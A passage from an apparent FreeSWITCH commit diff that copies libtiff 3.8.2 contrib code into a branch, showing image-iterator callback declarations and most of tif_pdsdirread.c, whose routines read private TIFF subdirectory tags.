+   it has been read from the file and decoded. This image pixel data is in the
+   buffer pp, and this data represents the image pixels from (x,y) to
+   (x+w,y+h). It is stored in pixel format, so each pixel contains
+   img->samplesperpixel consecutive samples each containing img->bitspersample
+   bits of data. The array pp is ordered in h consecutive rows of w+fromskew
+   pixels each. */
+typedef void (*ImageIterTileContigRoutine)
+    (TIFFImageIter*, void *, uint32, uint32, uint32, uint32, int32,
+	unsigned char*);
+#define	DECLAREContigCallbackFunc(name) \
+static void name(\
+    TIFFImageIter* img, \
+    void* user_data, \
+    uint32 x, uint32 y, \
+    uint32 w, uint32 h, \
+    int32 fromskew, \
+    u_char* pp \
+)
+
+typedef void (*ImageIterTileSeparateRoutine)
+    (TIFFImageIter*, void *, uint32, uint32, uint32, uint32, int32,
+	unsigned char*, unsigned char*, unsigned char*, unsigned char*);
+#define	DECLARESepCallbackFunc(name) \
+static void name(\
+    TIFFImageIter* img, \
+    void* user_data, \
+    uint32 x, uint32 y, \
+    uint32 w, uint32 h,\
+    int32 fromskew, \
+    u_char* r, u_char* g, u_char* b, u_char* a\
+)
+
+struct _TIFFImageIter {
+	TIFF*	tif;				/* image handle */
+	int	stoponerr;			/* stop on read error */
+	int	isContig;			/* data is packed/separate */
+	int	alpha;				/* type of alpha data present */
+	uint32	width;				/* image width */
+	uint32	height;				/* image height */
+	uint16	bitspersample;			/* image bits/sample */
+	uint16	samplesperpixel;		/* image samples/pixel */
+	uint16	orientation;			/* image orientation */
+	uint16	photometric;			/* image photometric interp */
+	uint16*	redcmap;			/* colormap pallete */
+	uint16*	greencmap;
+	uint16*	bluecmap;
+						/* get image data routine */
+	int	(*get)(TIFFImageIter*, void *udata, uint32, uint32);
+	union {
+	    void (*any)(TIFFImageIter*);
+	    ImageIterTileContigRoutine		contig;
+	    ImageIterTileSeparateRoutine	separate;
+	} callback;				/* fn to exec for each block */
+};

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_pdsdirread.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_pdsdirread.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/pds/tif_pdsdirread.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_pdsdirread.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_pdsdirread.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1124 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/contrib/pds/tif_pdsdirread.c,v 1.3 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1996 Sam Leffler
+ * Copyright (c) 1991-1996 Silicon Graphics, Inc.
+ * Copyright (c( 1996 USAF Phillips Laboratory
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ * 
+ * These routines written by Conrad J. Poelman on a single late-night of
+ * March 20-21, 1996.
+ *
+ * The entire purpose of this file is to provide a single external function,
+ * TIFFReadPrivateDataSubDirectory(). This function is intended for use in reading a
+ * private subdirectory from a TIFF file into a private structure. The
+ * actual writing of data into the structure is handled by the setFieldFn(),
+ * which is passed to TIFFReadPrivateDataSubDirectory() as a parameter. The idea is to
+ * enable any application wishing to store private subdirectories to do so
+ * easily using this function, without modifying the TIFF library.
+ *
+ * The astute observer will notice that only two functions are at all different
+ * from the original tif_dirread.c file: TIFFReadPrivateDataSubDirectory() and
+ * TIFFFetchNormalSubTag(). All the other stuff that makes this file so huge
+ * is only necessary because all of those functions are declared static in
+ * tif_dirread.c, so we have to totally duplicate them in order to use them.
+ *
+ * Oh, also note the bug fix in TIFFFetchFloat().
+ *
+ */
+
+#include "tiffiop.h"
+
+#define	IGNORE	0		/* tag placeholder used below */
+
+#if HAVE_IEEEFP
+#define	TIFFCvtIEEEFloatToNative(tif, n, fp)
+#define	TIFFCvtIEEEDoubleToNative(tif, n, dp)
+#else
+extern	void TIFFCvtIEEEFloatToNative(TIFF*, uint32, float*);
+extern	void TIFFCvtIEEEDoubleToNative(TIFF*, uint32, double*);
+#endif
+
+static	void EstimateStripByteCounts(TIFF*, TIFFDirEntry*, uint16);
+static	void MissingRequired(TIFF*, const char*);
+static	int CheckDirCount(TIFF*, TIFFDirEntry*, uint32);
+static	tsize_t TIFFFetchData(TIFF*, TIFFDirEntry*, char*);
+static	tsize_t TIFFFetchString(TIFF*, TIFFDirEntry*, char*);
+static	float TIFFFetchRational(TIFF*, TIFFDirEntry*);
+static	int TIFFFetchNormalSubTag(TIFF*, TIFFDirEntry*, const TIFFFieldInfo*,
+				  int (*getFieldFn)(TIFF *tif,ttag_t tag,...));
+static	int TIFFFetchPerSampleShorts(TIFF*, TIFFDirEntry*, int*);
+static	int TIFFFetchPerSampleAnys(TIFF*, TIFFDirEntry*, double*);
+static	int TIFFFetchShortArray(TIFF*, TIFFDirEntry*, uint16*);
+static	int TIFFFetchStripThing(TIFF*, TIFFDirEntry*, long, uint32**);
+static	int TIFFFetchExtraSamples(TIFF*, TIFFDirEntry*);
+static	int TIFFFetchRefBlackWhite(TIFF*, TIFFDirEntry*);
+static	float TIFFFetchFloat(TIFF*, TIFFDirEntry*);
+static	int TIFFFetchFloatArray(TIFF*, TIFFDirEntry*, float*);
+static	int TIFFFetchDoubleArray(TIFF*, TIFFDirEntry*, double*);
+static	int TIFFFetchAnyArray(TIFF*, TIFFDirEntry*, double*);
+static	int TIFFFetchShortPair(TIFF*, TIFFDirEntry*);
+#if STRIPCHOP_SUPPORT
+static	void ChopUpSingleUncompressedStrip(TIFF*);
+#endif
+
+static char *
+CheckMalloc(TIFF* tif, tsize_t n, const char* what)
+{
+	char *cp = (char*)_TIFFmalloc(n);
+	if (cp == NULL)
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "No space %s", what);
+	return (cp);
+}
+
+/* Just as was done with TIFFWritePrivateDataSubDirectory(), here we implement
+   TIFFReadPrivateDataSubDirectory() which takes an offset into the TIFF file,
+   a TIFFFieldInfo structure specifying the types of the various tags,
+   and a function to use to set individual tags when they are encountered.
+   The data is read from the file, translated using the TIFF library's
+   built-in machine-independent conversion functions, and filled into
+   private subdirectory structure.
+
+   This code was written by copying the original TIFFReadDirectory() function
+   from tif_dirread.c and paring it down to what is needed for this.
+
+   It is the caller's responsibility to allocate and initialize the internal
+   structure that setFieldFn() will be writing into. If this function is being
+   called more than once before closing the file, the caller also must be
+   careful to free data in the structure before re-initializing.
+
+   It is also the caller's responsibility to verify the presence of
+   any required fields after reading the directory in.
+*/
+
+
+int
+TIFFReadPrivateDataSubDirectory(TIFF* tif, toff_t pdir_offset,
+				TIFFFieldInfo *field_info,
+				int (*setFieldFn)(TIFF *tif, ttag_t tag, ...))
+{
+	register TIFFDirEntry* dp;
+	register int n;
+	register TIFFDirectory* td;
+	TIFFDirEntry* dir;
+	int iv;
+	long v;
+	double dv;
+	const TIFFFieldInfo* fip;
+	int fix;
+	uint16 dircount;
+	uint32 nextdiroff;
+	char* cp;
+	int diroutoforderwarning = 0;
+
+	/* Skipped part about checking for directories or compression data. */
+
+	if (!isMapped(tif)) {
+		if (!SeekOK(tif, pdir_offset)) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "Seek error accessing TIFF private subdirectory");
+			return (0);
+		}
+		if (!ReadOK(tif, &dircount, sizeof (uint16))) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "Can not read TIFF private subdirectory count");
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		dir = (TIFFDirEntry *)CheckMalloc(tif,
+		    dircount * sizeof (TIFFDirEntry), "to read TIFF private subdirectory");
+		if (dir == NULL)
+			return (0);
+		if (!ReadOK(tif, dir, dircount*sizeof (TIFFDirEntry))) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Can not read TIFF private subdirectory");
+			goto bad;
+		}
+		/*
+		 * Read offset to next directory for sequential scans.
+		 */
+		(void) ReadOK(tif, &nextdiroff, sizeof (uint32));
+	} else {
+		toff_t off = pdir_offset;
+
+		if (off + sizeof (short) > tif->tif_size) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "Can not read TIFF private subdirectory count");
+			return (0);
+		} else
+			_TIFFmemcpy(&dircount, tif->tif_base + off, sizeof (uint16));
+		off += sizeof (uint16);
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		dir = (TIFFDirEntry *)CheckMalloc(tif,
+		    dircount * sizeof (TIFFDirEntry), "to read TIFF private subdirectory");
+		if (dir == NULL)
+			return (0);
+		if (off + dircount*sizeof (TIFFDirEntry) > tif->tif_size) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Can not read TIFF private subdirectory");
+			goto bad;
+		} else
+			_TIFFmemcpy(dir, tif->tif_base + off,
+			    dircount*sizeof (TIFFDirEntry));
+		off += dircount* sizeof (TIFFDirEntry);
+		if (off + sizeof (uint32) < tif->tif_size)
+			_TIFFmemcpy(&nextdiroff, tif->tif_base+off, sizeof (uint32));
+	}
+	if (tif->tif_flags & TIFF_SWAB)
+		TIFFSwabLong(&nextdiroff);
+
+	/*
+	 * Setup default value and then make a pass over
+	 * the fields to check type and tag information,
+	 * and to extract info required to size data
+	 * structures.  A second pass is made afterwards
+	 * to read in everthing not taken in the first pass.
+	 */
+	td = &tif->tif_dir;
+	
+	for (fip = field_info, dp = dir, n = dircount;
+	     n > 0; n--, dp++) {
+		if (tif->tif_flags & TIFF_SWAB) {
+			TIFFSwabArrayOfShort(&dp->tdir_tag, 2);
+			TIFFSwabArrayOfLong(&dp->tdir_count, 2);
+		}
+		/*
+		 * Find the field information entry for this tag.
+		 */
+		/*
+		 * Silicon Beach (at least) writes unordered
+		 * directory tags (violating the spec).  Handle
+		 * it here, but be obnoxious (maybe they'll fix it?).
+		 */
+		if (dp->tdir_tag < fip->field_tag) {
+			if (!diroutoforderwarning) {
+				TIFFWarning(tif->tif_name,
+	"invalid TIFF private subdirectory; tags are not sorted in ascending order");
+				diroutoforderwarning = 1;
+			}
+			fip = field_info;    /* O(n^2) */
+		}
+
+		while (fip->field_tag && fip->field_tag < dp->tdir_tag)
+			fip++;
+		if (!fip->field_tag || fip->field_tag != dp->tdir_tag) {
+			TIFFWarning(tif->tif_name,
+			    "unknown field with tag %d (0x%x) in private subdirectory ignored",
+			    dp->tdir_tag,  dp->tdir_tag);
+			dp->tdir_tag = IGNORE;
+			fip = field_info;/* restart search */
+			continue;
+		}
+		/*
+		 * Null out old tags that we ignore.
+		 */
+
+		/* Not implemented yet, since FIELD_IGNORE is specific to
+		   the main directories. Could pass this in too... */
+		if (0 /* && fip->field_bit == FIELD_IGNORE */) {
+	ignore:
+			dp->tdir_tag = IGNORE;
+			continue;
+		}
+
+		/*
+		 * Check data type.
+		 */
+
+		while (dp->tdir_type != (u_short)fip->field_type) {
+			if (fip->field_type == TIFF_ANY)	/* wildcard */
+				break;
+			fip++;
+			if (!fip->field_tag || fip->field_tag != dp->tdir_tag) {
+				TIFFWarning(tif->tif_name,
+				   "wrong data type %d for \"%s\"; tag ignored",
+				    dp->tdir_type, fip[-1].field_name);
+				goto ignore;
+			}
+		}
+		/*
+		 * Check count if known in advance.
+		 */
+		if (fip->field_readcount != TIFF_VARIABLE) {
+			uint32 expected = (fip->field_readcount == TIFF_SPP) ?
+			    (uint32) td->td_samplesperpixel :
+			    (uint32) fip->field_readcount;
+			if (!CheckDirCount(tif, dp, expected))
+				goto ignore;
+		}
+
+		/* Now read in and process data from field. */
+		if (!TIFFFetchNormalSubTag(tif, dp, fip, setFieldFn))
+		    goto bad;
+
+	}
+
+	if (dir)
+		_TIFFfree(dir);
+	return (1);
+bad:
+	if (dir)
+		_TIFFfree(dir);
+	return (0);
+}
+
+static void
+EstimateStripByteCounts(TIFF* tif, TIFFDirEntry* dir, uint16 dircount)
+{
+	register TIFFDirEntry *dp;
+	register TIFFDirectory *td = &tif->tif_dir;
+	uint16 i;
+
+	if (td->td_stripbytecount)
+		_TIFFfree(td->td_stripbytecount);
+	td->td_stripbytecount = (uint32*)
+	    CheckMalloc(tif, td->td_nstrips * sizeof (uint32),
+		"for \"StripByteCounts\" array");
+	if (td->td_compression != COMPRESSION_NONE) {
+		uint32 space = (uint32)(sizeof (TIFFHeader)
+		    + sizeof (uint16)
+		    + (dircount * sizeof (TIFFDirEntry))
+		    + sizeof (uint32));
+		toff_t filesize = TIFFGetFileSize(tif);
+		uint16 n;
+
+		/* calculate amount of space used by indirect values */
+		for (dp = dir, n = dircount; n > 0; n--, dp++) {
+			uint32 cc = dp->tdir_count*TIFFDataWidth(dp->tdir_type);
+			if (cc > sizeof (uint32))
+				space += cc;
+		}
+		space = (filesize - space) / td->td_samplesperpixel;
+		for (i = 0; i < td->td_nstrips; i++)
+			td->td_stripbytecount[i] = space;
+		/*
+		 * This gross hack handles the case were the offset to
+		 * the last strip is past the place where we think the strip
+		 * should begin.  Since a strip of data must be contiguous,
+		 * it's safe to assume that we've overestimated the amount
+		 * of data in the strip and trim this number back accordingly.
+		 */ 
+		i--;
+		if (td->td_stripoffset[i] + td->td_stripbytecount[i] > filesize)
+			td->td_stripbytecount[i] =
+			    filesize - td->td_stripoffset[i];
+	} else {
+		uint32 rowbytes = TIFFScanlineSize(tif);
+		uint32 rowsperstrip = td->td_imagelength / td->td_nstrips;
+		for (i = 0; i < td->td_nstrips; i++)
+			td->td_stripbytecount[i] = rowbytes*rowsperstrip;
+	}
+	TIFFSetFieldBit(tif, FIELD_STRIPBYTECOUNTS);
+	if (!TIFFFieldSet(tif, FIELD_ROWSPERSTRIP))
+		td->td_rowsperstrip = td->td_imagelength;
+}
+
+static void
+MissingRequired(TIFF* tif, const char* tagname)
+{
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    "TIFF directory is missing required \"%s\" field", tagname);
+}
+
+/*
+ * Check the count field of a directory
+ * entry against a known value.  The caller
+ * is expected to skip/ignore the tag if
+ * there is a mismatch.
+ */
+static int
+CheckDirCount(TIFF* tif, TIFFDirEntry* dir, uint32 count)
+{
+	if (count != dir->tdir_count) {
+		TIFFWarning(tif->tif_name,
+	"incorrect count for field \"%s\" (%lu, expecting %lu); tag ignored",
+		    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name,
+		    dir->tdir_count, count);
+		return (0);
+	}
+	return (1);
+}
+
+/*
+ * Fetch a contiguous directory item.
+ */
+static tsize_t
+TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp)
+{
+	int w = TIFFDataWidth(dir->tdir_type);
+	tsize_t cc = dir->tdir_count * w;
+
+	if (!isMapped(tif)) {
+		if (!SeekOK(tif, dir->tdir_offset))
+			goto bad;
+		if (!ReadOK(tif, cp, cc))
+			goto bad;
+	} else {
+		if (dir->tdir_offset + cc > tif->tif_size)
+			goto bad;
+		_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);
+	}
+	if (tif->tif_flags & TIFF_SWAB) {
+		switch (dir->tdir_type) {
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			TIFFSwabArrayOfShort((uint16*) cp, dir->tdir_count);
+			break;
+		case TIFF_LONG:
+		case TIFF_SLONG:
+		case TIFF_FLOAT:
+			TIFFSwabArrayOfLong((uint32*) cp, dir->tdir_count);
+			break;
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+			TIFFSwabArrayOfLong((uint32*) cp, 2*dir->tdir_count);
+			break;
+		case TIFF_DOUBLE:
+			TIFFSwabArrayOfDouble((double*) cp, dir->tdir_count);
+			break;
+		}
+	}
+	return (cc);
+bad:
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error fetching data for field \"%s\"",
+	    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+	return ((tsize_t) 0);
+}
+
+/*
+ * Fetch an ASCII item from the file.
+ */
+static tsize_t
+TIFFFetchString(TIFF* tif, TIFFDirEntry* dir, char* cp)
+{
+	if (dir->tdir_count <= 4) {
+		uint32 l = dir->tdir_offset;
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabLong(&l);
+		_TIFFmemcpy(cp, &l, dir->tdir_count);
+		return (1);
+	}
+	return (TIFFFetchData(tif, dir, cp));
+}
+
+/*
+ * Convert numerator+denominator to float.
+ */
+static int
+cvtRational(TIFF* tif, TIFFDirEntry* dir, uint32 num, uint32 denom, float* rv)
+{
+	if (denom == 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "%s: Rational with zero denominator (num = %lu)",
+		    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name, num);
+		return (0);
+	} else {
+		if (dir->tdir_type == TIFF_RATIONAL)
+			*rv = ((float)num / (float)denom);
+		else
+			*rv = ((float)(int32)num / (float)(int32)denom);
+		return (1);
+	}
+}
+
+/*
+ * Fetch a rational item from the file
+ * at offset off and return the value
+ * as a floating point number.
+ */
+static float
+TIFFFetchRational(TIFF* tif, TIFFDirEntry* dir)
+{
+	uint32 l[2];
+	float v;
+
+	return (!TIFFFetchData(tif, dir, (char *)l) ||
+	    !cvtRational(tif, dir, l[0], l[1], &v) ? 1.0f : v);
+}
+
+/*
+ * Fetch a single floating point value
+ * from the offset field and return it
+ * as a native float.
+ */
+static float
+TIFFFetchFloat(TIFF* tif, TIFFDirEntry* dir)
+{
+	/* This appears to be a flagrant bug in the TIFF library, yet I
+	   actually don't understand how it could have ever worked the old
+	   way. Look at the comments in my new code and you'll understand. */
+#if (0)
+	float v = (float)
+	    TIFFExtractData(tif, dir->tdir_type, dir->tdir_offset);
+	TIFFCvtIEEEFloatToNative(tif, 1, &v);
+#else
+	float v;
+	/* This is a little bit tricky - if we just cast the uint32 to a float,
+	   C will perform a numerical conversion, which is not what we want.
+	   We want to take the actual bit pattern in the uint32 and interpret
+	   it as a float. Thus we cast a uint32 * into a float * and then
+	   dereference to get v. */
+	uint32 l = (uint32)
+	    TIFFExtractData(tif, dir->tdir_type, dir->tdir_offset);
+	v = * (float *) &l;
+	TIFFCvtIEEEFloatToNative(tif, 1, &v);
+#endif
+	return (v);
+
+}
+
+/*
+ * Fetch an array of BYTE or SBYTE values.
+ */
+static int
+TIFFFetchByteArray(TIFF* tif, TIFFDirEntry* dir, uint16* v)
+{
+	if (dir->tdir_count <= 4) {
+		/*
+		 * Extract data from offset field.
+		 */
+		if (tif->tif_header.tiff_magic == TIFF_BIGENDIAN) {
+			switch (dir->tdir_count) {
+			case 4: v[3] = dir->tdir_offset & 0xff;
+			case 3: v[2] = (dir->tdir_offset >> 8) & 0xff;
+			case 2: v[1] = (dir->tdir_offset >> 16) & 0xff;
+			case 1: v[0] = dir->tdir_offset >> 24;
+			}
+		} else {
+			switch (dir->tdir_count) {
+			case 4: v[3] = dir->tdir_offset >> 24;
+			case 3: v[2] = (dir->tdir_offset >> 16) & 0xff;
+			case 2: v[1] = (dir->tdir_offset >> 8) & 0xff;
+			case 1: v[0] = dir->tdir_offset & 0xff;
+			}
+		}
+		return (1);
+	} else
+		return (TIFFFetchData(tif, dir, (char*) v) != 0);	/* XXX */
+}
+
+/*
+ * Fetch an array of SHORT or SSHORT values.
+ */
+static int
+TIFFFetchShortArray(TIFF* tif, TIFFDirEntry* dir, uint16* v)
+{
+	if (dir->tdir_count <= 2) {
+		if (tif->tif_header.tiff_magic == TIFF_BIGENDIAN) {
+			switch (dir->tdir_count) {
+			case 2: v[1] = dir->tdir_offset & 0xffff;
+			case 1: v[0] = dir->tdir_offset >> 16;
+			}
+		} else {
+			switch (dir->tdir_count) {
+			case 2: v[1] = dir->tdir_offset >> 16;
+			case 1: v[0] = dir->tdir_offset & 0xffff;
+			}
+		}
+		return (1);
+	} else
+		return (TIFFFetchData(tif, dir, (char *)v) != 0);
+}
+
+/*
+ * Fetch a pair of SHORT or BYTE values.
+ */
+static int
+TIFFFetchShortPair(TIFF* tif, TIFFDirEntry* dir)
+{
+	uint16 v[2];
+	int ok = 0;
+
+	switch (dir->tdir_type) {
+	case TIFF_SHORT:
+	case TIFF_SSHORT:
+		ok = TIFFFetchShortArray(tif, dir, v);
+		break;
+	case TIFF_BYTE:
+	case TIFF_SBYTE:
+		ok  = TIFFFetchByteArray(tif, dir, v);
+		break;
+	}
+	if (ok)
+		TIFFSetField(tif, dir->tdir_tag, v[0], v[1]);
+	return (ok);
+}
+
+/*
+ * Fetch an array of LONG or SLONG values.
+ */
+static int
+TIFFFetchLongArray(TIFF* tif, TIFFDirEntry* dir, uint32* v)
+{
+	if (dir->tdir_count == 1) {
+		v[0] = dir->tdir_offset;
+		return (1);
+	} else
+		return (TIFFFetchData(tif, dir, (char*) v) != 0);
+}
+
+/*
+ * Fetch an array of RATIONAL or SRATIONAL values.
+ */
+static int
+TIFFFetchRationalArray(TIFF* tif, TIFFDirEntry* dir, float* v)
+{
+	int ok = 0;
+	uint32* l;
+
+	l = (uint32*)CheckMalloc(tif,
+	    dir->tdir_count*TIFFDataWidth(dir->tdir_type),
+	    "to fetch array of rationals");
+	if (l) {
+		if (TIFFFetchData(tif, dir, (char *)l)) {
+			uint32 i;
+			for (i = 0; i < dir->tdir_count; i++) {
+				ok = cvtRational(tif, dir,
+				    l[2*i+0], l[2*i+1], &v[i]);
+				if (!ok)
+					break;
+			}
+		}
+		_TIFFfree((char *)l);
+	}
+	return (ok);
+}
+
+/*
+ * Fetch an array of FLOAT values.
+ */
+static int
+TIFFFetchFloatArray(TIFF* tif, TIFFDirEntry* dir, float* v)
+{
+
+	if (dir->tdir_count == 1) {
+		v[0] = *(float*) &dir->tdir_offset;
+		TIFFCvtIEEEFloatToNative(tif, dir->tdir_count, v);
+		return (1);
+	} else	if (TIFFFetchData(tif, dir, (char*) v)) {
+		TIFFCvtIEEEFloatToNative(tif, dir->tdir_count, v);
+		return (1);
+	} else
+		return (0);
+}
+
+/*
+ * Fetch an array of DOUBLE values.
+ */
+static int
+TIFFFetchDoubleArray(TIFF* tif, TIFFDirEntry* dir, double* v)
+{
+	if (TIFFFetchData(tif, dir, (char*) v)) {
+		TIFFCvtIEEEDoubleToNative(tif, dir->tdir_count, v);
+		return (1);
+	} else
+		return (0);
+}
+
+/*
+ * Fetch an array of ANY values.  The actual values are
+ * returned as doubles which should be able hold all the
+ * types.  Yes, there really should be an tany_t to avoid
+ * this potential non-portability ...  Note in particular
+ * that we assume that the double return value vector is
+ * large enough to read in any fundamental type.  We use
+ * that vector as a buffer to read in the base type vector
+ * and then convert it in place to double (from end
+ * to front of course).
+ */
+static int
+TIFFFetchAnyArray(TIFF* tif, TIFFDirEntry* dir, double* v)
+{
+	int i;
+
+	switch (dir->tdir_type) {
+	case TIFF_BYTE:
+	case TIFF_SBYTE:
+		if (!TIFFFetchByteArray(tif, dir, (uint16*) v))
+			return (0);
+		if (dir->tdir_type == TIFF_BYTE) {
+			uint16* vp = (uint16*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		} else {
+			int16* vp = (int16*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		}
+		break;
+	case TIFF_SHORT:
+	case TIFF_SSHORT:
+		if (!TIFFFetchShortArray(tif, dir, (uint16*) v))
+			return (0);
+		if (dir->tdir_type == TIFF_SHORT) {
+			uint16* vp = (uint16*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		} else {
+			int16* vp = (int16*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		}
+		break;
+	case TIFF_LONG:
+	case TIFF_SLONG:
+		if (!TIFFFetchLongArray(tif, dir, (uint32*) v))
+			return (0);
+		if (dir->tdir_type == TIFF_LONG) {
+			uint32* vp = (uint32*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		} else {
+			int32* vp = (int32*) v;
+			for (i = dir->tdir_count-1; i >= 0; i--)
+				v[i] = vp[i];
+		}
+		break;
+	case TIFF_RATIONAL:
+	case TIFF_SRATIONAL:
+		if (!TIFFFetchRationalArray(tif, dir, (float*) v))
+			return (0);
+		{ float* vp = (float*) v;
+		  for (i = dir->tdir_count-1; i >= 0; i--)
+			v[i] = vp[i];
+		}
+		break;
+	case TIFF_FLOAT:
+		if (!TIFFFetchFloatArray(tif, dir, (float*) v))
+			return (0);
+		{ float* vp = (float*) v;
+		  for (i = dir->tdir_count-1; i >= 0; i--)
+			v[i] = vp[i];
+		}
+		break;
+	case TIFF_DOUBLE:
+		return (TIFFFetchDoubleArray(tif, dir, (double*) v));
+	default:
+		/* TIFF_NOTYPE */
+		/* TIFF_ASCII */
+		/* TIFF_UNDEFINED */
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "Cannot read TIFF_ANY type %d for field \"%s\"",
+		    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+		return (0);
+	}
+	return (1);
+}
+
+
+/*
+ * Fetch a tag that is not handled by special case code.
+ */
+/* The standard function TIFFFetchNormalTag() could definitely be replaced
+   with a simple call to this function, just adding TIFFSetField() as the
+   last argument. */
+static int
+TIFFFetchNormalSubTag(TIFF* tif, TIFFDirEntry* dp, const TIFFFieldInfo* fip,
+		      int (*setFieldFn)(TIFF *tif, ttag_t tag, ...))
+{
+	static char mesg[] = "to fetch tag value";
+	int ok = 0;
+
+	if (dp->tdir_count > 1) {		/* array of values */
+		char* cp = NULL;
+
+		switch (dp->tdir_type) {
+		case TIFF_BYTE:
+		case TIFF_SBYTE:
+			/* NB: always expand BYTE values to shorts */
+			cp = CheckMalloc(tif,
+			    dp->tdir_count * sizeof (uint16), mesg);
+			ok = cp && TIFFFetchByteArray(tif, dp, (uint16*) cp);
+			break;
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			cp = CheckMalloc(tif,
+			    dp->tdir_count * sizeof (uint16), mesg);
+			ok = cp && TIFFFetchShortArray(tif, dp, (uint16*) cp);
+			break;
+		case TIFF_LONG:
+		case TIFF_SLONG:
+			cp = CheckMalloc(tif,
+			    dp->tdir_count * sizeof (uint32), mesg);
+			ok = cp && TIFFFetchLongArray(tif, dp, (uint32*) cp);
+			break;
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+			cp = CheckMalloc(tif,
+			    dp->tdir_count * sizeof (float), mesg);
+			ok = cp && TIFFFetchRationalArray(tif, dp, (float*) cp);
+			break;
+		case TIFF_FLOAT:
+			cp = CheckMalloc(tif,
+			    dp->tdir_count * sizeof (float), mesg);
+			ok = cp && TIFFFetchFloatArray(tif, dp, (float*) cp);
+			break;
+		case TIFF_DOUBLE:
+			cp = CheckMalloc(tif,
+			    dp->tdir_count * sizeof (double), mesg);
+			ok = cp && TIFFFetchDoubleArray(tif, dp, (double*) cp);
+			break;
+		case TIFF_ASCII:
+		case TIFF_UNDEFINED:		/* bit of a cheat... */
+			/*
+			 * Some vendors write strings w/o the trailing
+			 * NULL byte, so always append one just in case.
+			 */
+			cp = CheckMalloc(tif, dp->tdir_count+1, mesg);
+			if (ok = (cp && TIFFFetchString(tif, dp, cp)))
+				cp[dp->tdir_count] = '\0';	/* XXX */
+			break;
+		}
+		if (ok) {
+			ok = (fip->field_passcount ?
+			    (*setFieldFn)(tif, dp->tdir_tag, dp->tdir_count, cp)
+			  : (*setFieldFn)(tif, dp->tdir_tag, cp));
+		}
+		if (cp != NULL)
+			_TIFFfree(cp);
+	} else if (CheckDirCount(tif, dp, 1)) {	/* singleton value */
+		switch (dp->tdir_type) {
+		case TIFF_BYTE:
+		case TIFF_SBYTE:
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			/*
+			 * If the tag is also acceptable as a LONG or SLONG
+			 * then (*setFieldFn) will expect an uint32 parameter
+			 * passed to it (through varargs).  Thus, for machines
+			 * where sizeof (int) != sizeof (uint32) we must do
+			 * a careful check here.  It's hard to say if this
+			 * is worth optimizing.
+			 *
+			 * NB: We use TIFFFieldWithTag here knowing that
+			 *     it returns us the first entry in the table
+			 *     for the tag and that that entry is for the
+			 *     widest potential data type the tag may have.
+			 */
+			{ TIFFDataType type = fip->field_type;
+			  if (type != TIFF_LONG && type != TIFF_SLONG) {
+				uint16 v = (uint16)
+			   TIFFExtractData(tif, dp->tdir_type, dp->tdir_offset);
+				ok = (fip->field_passcount ?
+				    (*setFieldFn)(tif, dp->tdir_tag, 1, &v)
+				  : (*setFieldFn)(tif, dp->tdir_tag, v));
+				break;
+			  }
+			}
